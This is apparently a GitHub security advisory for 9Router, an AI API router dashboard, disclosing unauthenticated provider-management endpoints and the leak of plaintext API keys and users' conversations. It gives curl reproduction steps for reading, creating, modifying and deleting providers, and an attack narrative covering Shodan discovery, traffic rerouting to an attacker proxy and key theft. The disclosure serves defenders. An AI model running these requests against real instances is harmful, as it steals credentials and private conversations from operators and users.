GHSA-vjc7-jrh9-9j86: 9Router: no-auth API leaks keys, chats, provider control

--- title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true --- ## Summary Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The `/api/providers` endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, `/api/usage/stats` exposes full plaintext API keys, and `/api/usage/request-logs` + `/api/usage/request-details` expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication. ## Affected Endpoints | Endpoint | Method | Issue | |---|---|---| | `/api/providers` | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs | | `/api/providers/:id` | GET | Read any single provider detail (IDOR) | | `/api/providers` | POST | Create arbitrary provider connections with attacker-controlled API keys | | `/api/providers/:id` | PUT | Modify any existing provider connection | | `/api/providers/:id` | DELETE | Delete any provider connection | | `/api/usage/stats` | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data | | `/api/usage/request-logs` | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) | | `/api/usage/request-details/:id` | GET | Exposes full conversation turns including system prompts, user messages, assistant responses | | `/api/version` | GET | Exposes current version info | | `/api/models` | GET | Exposes full model routing catalog | | `/api/v1/models` | GET | Exposes model list | ## Impact ### Critical: Provider CRUD without authentication An attacker can: 1. **Add a malicious provider** — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router 2. **Modify existing providers** — replace API keys with attacker-controlled ones, redirect traffic 3. **Delete all providers** — cause complete denial of service 4. **Read all provider configurations** — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses ### Critical: Full API key leak via /api/usage/stats The endpoint returns complete API key strings (e.g., `sk-...`) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts. ### Critical: Conversation history leak `/api/usage/request-details` returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces. ## Steps to Reproduce ### 1. Unauthenticated read of all providers ```bash curl -s https://<host>/api/providers ``` Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes. ### 2. Create a provider without authentication ```bash curl -X POST https://<host>/api/providers \ -H "Content-Type: application/json" \ -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}' ``` Returns the created connection object with a new UUID and `isActive: true`. ### 3. Modify an existing provider without authentication ```bash curl -X PUT https://<host>/api/providers/<existing-uuid> \ -H "Content-Type: application/json" \ -d '{"name":"modified","apiKey":"sk-attacker-key"}' ``` Returns the updated connection object. ### 4. Delete a provider without authentication ```bash curl -X DELETE https://<host>/api/providers/<existing-uuid> ``` Returns `{"message":"Connection deleted successfully"}`. ### 5. Read full usage stats with API keys ```bash curl -s https://<host>/api/usage/stats ``` Returns full API key strings, per-account token/cost breakdown, recent requests. ### 6. Read request logs ```bash curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50" ``` Returns paginated request logs with timestamps, models, providers, user emails, token counts. ### 7. Read full conversation ```bash curl -s https://<host>/api/usage/request-details/<request-uuid> ``` Returns complete conversation turns for that request. ### 8. Read version info ```bash curl -s https://<host>/api/version ``` Returns `{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}`. ## Root Cause The Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically: - `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database - `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys - `/api/usage/request-logs` — No auth check before returning request history - `/api/usage/request-details/:id` — No auth check before returning full conversation contents ## Suggested Fix 1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE) 2. Add authentication middleware to all `/api/usage/*` routes 3. Never return full API key strings in any API response — return masked keys only 4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses 5. Implement proper authorization checks so users can only access their own data 6. Add rate limiting to public endpoints ## Resources - https://github.com/decolua/9router

An attacker discovers or is pointed at an internet-facing 9Router instance (e.g., via Shodan/Censys banner matching or the exposed /api/version endpoint). They first run `curl /api/providers` to enumerate existing provider connections, partial credentials, and account IDs with zero authentication. They then POST a new malicious provider entry pointing to an attacker-controlled proxy endpoint, or PUT-modify an existing provider's API key to one they control — silently rerouting some or all future AI traffic through their infrastructure and capturing every prompt and response in transit. In parallel, they hit /api/usage/stats to harvest full plaintext API keys for every connected provider account, and pull /api/usage/request-details to read other users' complete conversation histories, including system prompts and any sensitive data users pasted into prompts. As a final step, they could DELETE all provider connections to cause an outage, or simply leave their rogue provider in place for long-term, low-noise data exfiltration and API-key abuse (running up costs or exfiltrating proprietary data on the victim's provider accounts).